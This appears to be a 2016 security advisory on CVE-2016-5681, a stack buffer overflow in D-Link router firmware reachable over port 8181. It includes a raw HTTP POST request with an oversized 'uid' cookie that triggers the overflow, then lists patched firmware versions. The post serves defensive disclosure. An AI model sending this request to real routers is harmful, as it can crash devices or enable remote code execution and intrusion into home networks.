12 August 2016

Remote code execution in D-Link routers


Remote code execution in D-Link routers

D-Link has released new firmware for a number of routers to address a highly critical security vulnerability SB2016081203 (CVE-2016-5681). The affected routers are:

DIR-850L B1, DIR-822 A1, DIR-823 A1, DIR-895L A1, DIR-890L A1, DIR-885L A1, DIR-880L A1, DIR-868L B1, DIR-868L C1, DIR-817L(W) and DIR-818L(W).

The vulnerability exists within the cgibin binary, intended to handle session cookie. This binary is called from different parts of D-Link web interface, including the service, exposed through the WAN network interface on port 8181/TCP. A remote attacker can send a specially crafted "uid" cookie via the HTTP POST request to "/dws/api/Login" login page, cause buffer overflow and execute arbitrary code on the target system.

Successful exploitation of this vulnerability may allow an attacker to obtain full access to vulnerable device and use it to gain access to local network.

Public exploit code was also released by D-Link support website. Below is a dump of HTTP POST request, which can be used to trigger a buffer overflow:

----------------- REQUEST:
POST /dws/api/Login HTTP/1.1
Host: IP:8181
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 21
Cookie: uid="A"*3220 + "AAAA" + "BBBB" +"CCCC" +"DDDD" +"EEEE" +"FFFF" +"GGGG" +"HHHH" +"XXXX" << This causes the stack buffer overflow
Connection: close

id=test&password=test
-----------------

To resolve this vulnerability we recommend to install the latest version of firmware, available from vendor’s website:

  • DIR-850L Rev. B1 Official FW v2.07 (v2.07WWB05)
  • DIR-817 Rev. Ax Official FW End Aug. 2016
  • DIR-818L Rev. Bx Beta FW v2.05b03beta03  End Aug. 2016
  • DIR-822 Rev. A1 Official FW v3.01 (v3.01WWb02)
  • DIR-823 Rev. A1 Official FW v1.00 (v1.00WWb05)
  • DIR-895L Rev. A1 Official FW v1.11 (v1.11WWb04)
  • DIR-890L Rev  A1 Official FW v1.09 (v1.09b14)
  • DIR-885L Rev. A1 Official FW v1.11 (v1.11WWb07)
  • DIR-880L Rev. A1 Official FW v1.07 (v1.07WWb08)
  • DIR-868L Rev. B1 Official FW v2.03 (v2.03WWb01)
  • DIR-868L Rev. C1 Official FW v3.00 (v3.00WWb01)

We also would suggest to filter all traffic on TCP port 8181 at least on WAN interface.

And of cource you can use our free vulnerability scanner to check if you are vulnerable.

Back to the list

Latest Posts

Cyber Security Week in Review: November 22, 2024

Cyber Security Week in Review: November 22, 2024

In brief: 2K+ PAN devices compromised in an ongoing attack, 240 domains linked to the ONNX phishing service disrupted, and more.
22 November 2024
New Ghost Tap cash-out technique exploiting mobile payment systems

New Ghost Tap cash-out technique exploiting mobile payment systems

The attack relies on a relay mechanism that connects a stolen card to a PPOS terminal via NFC.
21 November 2024
Ngioweb botnet and NSOCKS proxy service disrupted following over a year’s investigation

Ngioweb botnet and NSOCKS proxy service disrupted following over a year’s investigation

Since late 2022, Ngioweb has been providing residential proxies to both financially motivated groups and nation-state threat actors.
21 November 2024